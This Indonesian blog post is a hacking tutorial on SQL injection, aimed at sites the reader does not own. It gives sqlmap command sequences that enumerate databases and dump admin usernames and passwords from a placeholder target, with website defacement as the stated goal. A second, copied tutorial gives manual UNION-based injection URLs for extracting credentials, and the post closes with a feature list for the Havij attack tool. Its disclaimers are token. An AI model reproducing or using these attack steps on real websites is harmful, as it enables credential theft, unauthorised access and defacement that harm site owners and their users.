Rabu, 24 Desember 2014

ESKIEL MAP

sqlmap adalah tools opensource yang mendeteksi dan melakukan exploit pada bug SQL injection secara otomatis. dengan melakukan serangan SQL injection seorang attacker dapat mengambil alih serta memanipulasi sebuah database di dalam sebuah server.

biar lebih jelas saya akan menjelaskan sedikit tentang apa itu SQL injection dan database.

  • SQL injection adalah teknik hacking di mana attacker dapat menyisipkan perintah-perintah SQL melalu URL untuk di eksekusi oleh database. bug atau vulnerability ini terjadi karena kelalian seorang programer atau webmaster dalam melakukan pemograman web seperti tidak difilternya variabel dalam web tersebut.
  • Database adalah kumpulan informasi yang disimpan di dalam komputer atau webserver secara sistematik yang berguna untuk memperoleh informasi dari basis data tersebut.
ok cukup penjelasanya, kita langsung aja ke tutorial sqlmap dalam memanipulasi bug SQL injection.

pertama download dulu sqlmap nya :
sqlmap.zip untuk file berekstensi .zip
sqlmap.tar.gz untuk file berekstensi tar.gz

setelah di download extract file sqlmap nya, saya sarankan di desktop saja agar lebih mudah untuk prosesnya, atau di direktori lain juga boleh tergantung dari selera kita masing-masing :-D . kemudian rename folder yang telah di extract menjadi "sqlmap" (tanpa tanda kutip).

tools ini adalah tools yang berbasis program python, jadi untuk menjalankanya kita harus menginstall program python. kalau kamu pengguna linux kamu tidak usah repot-repot untuk menginstall python karena di linux sudah ada. tapi kalau kamu pengguna windows, kamu harus menginstall program python terlebih dahulu.

download python :

Windows x86 MSI Installer (2.7.3) untuk windows x86/32 bit
Windows X86-64 MSI Installer (2.7.3) untuk windows 64 bit
Mac OS X 64-bit/32-bit x86-64/i386 Installer (2.7.3) untuk MAC OS X 10.6/10.7
www.python.org/ftp/python/2.7.3/python-2.7.3-macosx10.3.dmg untuk MAC OS 10.3 - 10.6

kalau sudah di download kita lanjut ke step berikutnya.
pertama buka dulu terminal (linux) atau CMD (windows) kemudia ketikkan

untuk linux :

user@linux:~$ cd /Desktop/sqlmap/ 
untuk windows :
C:\Documents and Settings\user> cd /desktop/sqlmap/
kemudian tekan enter.

screenshoot ini diambil dari terminal backtrack 5 r2
kita ke step selanjutnya, saya anggap kamu sudah mempunyai target kamu sendiri, kalau belum ada silahkan cari sendiri :-p .
disini saya umpamakan ada sebuah situs dengan domain name "https://www.target.com" . dan mempunyai vulnerability pada tag "index.php?id=7" dengan methode get. langsung saja kita kembali ke terminal ata cmd tadi dan ketikkan lagi
linux :
user@linux:/Desktop/sqlmap# ./sqlmap.py -u https://www.target.com/index.php?id=7 --dbs
windows :
C:\Documents and Settings\user\desktop\sqlmap>sqlmap.py -u https://www.target.com/index.php?id=7 --dbs
perintah "-u" adalah "URL" target kita yang akan di eksekusi oleh sqlmap. perintah "--dbs" diatas adalah sqlmap akan berusaha mencari database dari web target kita tadi.

nah sekarang kita tunggu beberapa saat dan biarkan sqlmap bekerja sampai sqlmap menemukan database dari target kita. setelah bebearap saat sqlmap telah berhasil menemukan nama database dari target kita. asiikk !!!

saya umpamakan sqlmap berhasil mendapatkan 2 nama database yaitu
  • information_schema
  • my_db
langkah selanjutnya yang akan kita lakukan adalah mengintip table yang ada di dalam database tersebut, tapi database yang mana ? hmmmm sepertinya saya lebih tertarik sama database yang bernama "my_db".!! loh kenapa ? mungkin feeling aja :-p

sekarang kita ketikkan lagi perintah ini
./sqlmap.py -u https://www.target.com/index.php?id=7 -D my_db --tables
karena saya capek mengetikkan contoh untuk linux dan windows, jadi saya akan mengetikkan 1 contoh saja, bagi pengguna linux harus diawali dengan tanda "./" sebelum comand sedangkan di windows tidak di pakai alias langsung aja "sqlmap.py -u bla...bla...bla.."

ok next step, setelah kita tunggu beberapa saat ternyata sqlmap menemukan table yang ada di dalam database "my_db". saya umpamakan table-table tersebut adalah sebagai berikut.
  • admin
  • members
  • item
nah karena saya ingin melakukan deface, maka saya akan membuka isi dari table admin tersebut. langsung aja kita ketikkan di terminal atau CMD perintah ini
./sqlmap.py -u https://www.target.com/index.php?id=7 -D my_db -T admin --columns
 lalu enter dan tunggu beberapa saat, dan kita mendapati "column" dari "table" admin tadi. saya umpamakan nama columnya
  • ID
  • username
  • password
  • email_address
  • country
disini saya akan mengambil informasi dari dalam "column" admin tadi, yang ingin saya intip adalah "username","password",dan "email_address". maka saya akan kembali mengetikkan perintah
./sqlmap.py -u https://www.target.com/index.php?id=7 -D my_db -T admin -C username,password,email_address --dump
 dan hasilnya saya mendapati sebagai berikut :

admin:123456:admin@target.com
 ini artinya :
  • admin = username
  • 123456 = password
  • admin@target.com = email_address
nah sekarang saya tinggal mencari admin login dan siap melakukan deface . :-)

sekian dulu tutorial dari saya, kalau ada kekurangan saya minta maaf karena saya ini hanyalah seorang newbie yang ingin berbagi sedikit ilmu.

n.b : segala sesuatu yang ada pada tulisan ini hanyalah semata-mata untuk pembelajaran, segala resiko karena penerapanya kembali kepada mental para pembaca dan penulis tidak bertanggung jawab atas apa yg terjadi.

 CARA SQLMAP


 Harap dicatat bahwa penulis tidak bertanggung jawab atas segala bentuk efek dari artikel ini, tujuannya hanya untuk pengetahuan saja, jadi silahkan gunakan untuk kebaikan dan keamanan kalian masing2. Pertanyaan yang bersifat “Merusak” tidak akan ditanggapi.
Cara ngehacking web atau biasa disebut web attack sangat banyak caranya, salah satunya dengan cara SQL injection.
Apa itu SQL injection ?
SQL injection terjadi ketika attacker bisa meng-insert beberapa SQL statement ke ‘query’ dengan cara manipulasi data input ke applikasi tsb.
ini salah satu cara melakukan tekhnik SQL injection, cara ini saya copas dari http://jasakom.com oleh seorang penulis sebut saja cruz3N
oke, mari kita simak bersama-sama.
1. Pertama kali yang kita lakukan tentu mencari target. Misalnya target kita kali ini adalah
http://www.target.com/berita.php?id=100
2. Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
Contoh :
http://www.target.com/berita.php?id=100'
atau
http://www.target.com/berita.php?id=-100
4. Maka akan muncul pesan error…
“You have an error in your SQL syntax.You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near ”’
at line 1″ Dan masih banyak lagi macamnya.
5. Next step adalah mencari dan menghitung jumlah table yang ada dalam databasenya…
Disini kita akan menggunakan perintah order by
Contoh :
http://www.target.com/berita.php?id=100+order+by+1/*
Hohoho…apalagi itu “/*” ? Itu adalah karakter penutup perintah SQL atau kita juga bisa pake “–”. Terserah aja…
Kalo “+” sebagai penghubung perintah…
6. Nah sampe sini langsung dah nyobain satu2…
http://www.target.com/berita.php?id=100+order+by+1/* (gak ada error)
http://www.target.com/berita.php?id=100+order+by+2/* (gak ada juga)
http://www.target.com/berita.php?id=100+order+by+3/* (capek dah)
http://www.target.com/berita.php?id=100+order+by+4/* (jangan nyerah)
Sampai muncul error…
Misalkan errornya disini…
http://www.target.com/berita.php?id=100+order+by+10/*
Berarti yang kita ambil adalah “9″
http://www.target.com/berita.php?id=100+order+by+9/*
7. Untuk mengetahui berapa angka yang show sekarang kita pake UNION
Contoh :
http://www.target.com/news.php?id=100+union+select+1,2,3,4,5,6,7,8,9/*
Trus perhatikan angka berapa yang keluar (Kayak togel aja… ;p)
8. Misalnya angka hoki yang keluar adalah “3″ maka yang bisa akan kita lakukan adalah mengecek versi berapa mysql yang dipake dengan perintah “version()” atau “@@version”
http://www.target.com/news.php?id=100+union+select+1,2,version(),4,5,6,7,8,9/*
Atau
http://www.target.com/news.php?id=100+union+select+1,2,@@version,4,5,6,7,8,9/*
9. Nah kalo versinya 5 langsung aja pake perintah “information_schema” untuk melihat tabel dan kolom yang ada pada database…
Contoh :
http://www.target.com/berita.php?id=100+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables/*
Nah katanya kalo untuk melihat tabel-tabel yang lain kita tambahkan LIMIT pada akhir URL. Tapi waktu itu gua gak pake keliatan kok tabelnya…Apa gua salah? Mungkin tapi sekarang yang gua mau jelaskan adalah VERSI DAN PENGALAMAN GUA. Mungkin agak lain…ya maklum lah baru belajar…Hehehe…
Misalnya yang lo liat adalah table “admin”
Nah sekarang kita liat-liat dulu kolomnya dengan mengganti aja kata “table”-nya…
Contoh:
http://www.target.com/berita.php?id=100+union+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.colums/*
Misalnya kolom yang keluar adalah “password” dan “username”
Langsung aja kita liat isinya…
Contoh :
http://www.target.com/news.php?id=100+union+select+1,username,3,4,5,6,7,8,9+from+admin/*
dan
http://www.target.com/news.php?id=100+union+select+1,password,3,4,5,6,7,8,9+from+admin/*
Bisa diliat dah username ama passwordnya…Tinggal login…Cari yang asik terus…Terserah Anda…
—————————————————
begitulah yang dituliskan disana.
anda masih belum paham tentang apa SQL injection ?
tenang silahkan anda download file dokumen dibawah ini tentang SQL injection step by step.

Download SQL injection step by step.DOC
oke selamat mencoba. yang terpenting jangan dilakukan di web teman anda ataupun di website Lokal.
referensi :
http://jasakom.com
http://ezine.echo.or.id
http://cruzenaldo.co.cc
http://students.ee.itb.ac.id
Catatan: Cara otomatis dengan memakai software bisa juga dilakukan, selengkapnya lihat artikel berikut ini
Atau mau mencoba tool yang baru saya dapatkan? namanya Havij. Adapun fitur2nya:
  1. Supported Databases with injection methods:
    • MsSQL 2000/2005 with error
    • MsSQL 2000/2005 no error (union based)
    • MySQL (union based)
    • MySQL Blind
    • MySQL error based
    • Oracle (union based)
    • MsAccess (union based)
  2. Automatic database detection
  3. Automatic type detection (string or integer)
  4. Automatic keyword detection (finding difference between the positive and negative response)
  5. Trying different injection syntaxes
  6. Proxy support
  7. Real time result
  8. Options for replacing space by /**/,+,… against IDS or filters
  9. Avoid using strings (magic_quotes similar filters bypass)
  10. Bypassing illegal union
  11. Full customizable http headers (like referer and user agent)
  12. Load cookie from site for authentication
  13. Guessing tables and columns in mysql<5 also="" and="" blind="" in="" li="" msaccess="">
  14. Fast getting tables and columns for mysql
  15. Multi thread Admin page finder
  16. Multi thread Online MD5 cracker
  17. Getting DBMS Informations
  18. Getting tables, columns and data
  19. Command executation (mssql only)
  20. Reading system files (mysql only)
  21. Insert/update/delete data





Tidak ada komentar: